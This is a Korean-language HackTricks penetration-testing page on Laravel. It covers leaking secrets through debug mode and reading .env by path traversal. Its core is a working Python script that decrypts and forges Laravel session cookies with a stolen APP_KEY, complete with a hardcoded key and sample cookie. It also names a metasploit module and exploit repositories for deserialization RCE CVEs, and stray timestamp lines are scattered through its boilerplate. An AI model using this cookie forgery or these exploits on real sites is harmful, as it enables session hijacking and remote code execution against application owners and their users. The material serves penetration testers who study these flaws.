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# Laravel
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< details >
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< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요< strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전 또는 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)를 확인해보세요!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견해보세요. 독점적인 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션입니다.
* [**공식 PEASS & HackTricks 스웨그** ](https://peass.creator-spring.com )를 얻으세요.
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[** @carlospolopm **](https://twitter.com/hacktricks_live)**.**
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
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< / details >
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## Laravel 트릭
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### 디버깅 모드
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Laravel이 **디버깅 모드**에 있으면 **코드**와 **민감한 데이터**에 접근할 수 있습니다.\
예를 들어 `http://127.0.0.1:8000/profiles` :
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![](< .. / . . / . gitbook / assets / image ( 610 ) . png > )
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이는 일반적으로 다른 Laravel RCE CVE를 악용하기 위해 필요합니다.
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### .env
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Laravel은 쿠키와 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env` 라는 파일에 저장합니다. 이 파일은 `/../.env` 경로 순회를 통해 액세스할 수 있습니다.
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Laravel은 또한 디버그 페이지(라라벨이 오류를 발견하고 활성화되었을 때 나타남)에서 이 정보를 표시합니다.
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Laravel의 비밀 APP\_KEY를 사용하여 쿠키를 복호화하고 다시 암호화할 수 있습니다:
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### 쿠키 복호화
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```python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
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global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
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def mcrypt_encrypt(value, iv):
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global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
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def decrypt(bstring):
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global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
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def encrypt(string):
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global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
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app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
```
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### Laravel Deserialization RCE
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취약한 버전: 5.5.40 및 5.6.x ~ 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
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여기에서 deserialization 취약점에 대한 정보를 찾을 수 있습니다: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/ ](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/ )
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[https://github.com/kozmic/laravel-poc-CVE-2018-15133 ](https://github.com/kozmic/laravel-poc-CVE-2018-15133 )를 사용하여 테스트하고 이를 악용할 수 있습니다.\
또는 metasploit을 사용하여 악용할 수도 있습니다: `use unix/http/laravel_token_unserialize_exec`
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### CVE-2021-3129
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다른 deserialization: [https://github.com/ambionics/laravel-exploits ](https://github.com/ambionics/laravel-exploits )
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### Laravel SQLInjection
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여기에서 이에 대한 정보를 읽을 수 있습니다: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel ](https://stitcher.io/blog/unsafe-sql-functions-in-laravel )
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< details >
2024-02-10 21:30:13 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요< strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)를 확인해보세요!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견해보세요. 독점적인 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션입니다.
* [**공식 PEASS & HackTricks 스웨그** ](https://peass.creator-spring.com )를 얻으세요.
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[** @carlospolopm **](https://twitter.com/hacktricks_live)**.**
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
2022-04-28 16:01:33 +00:00
< / details >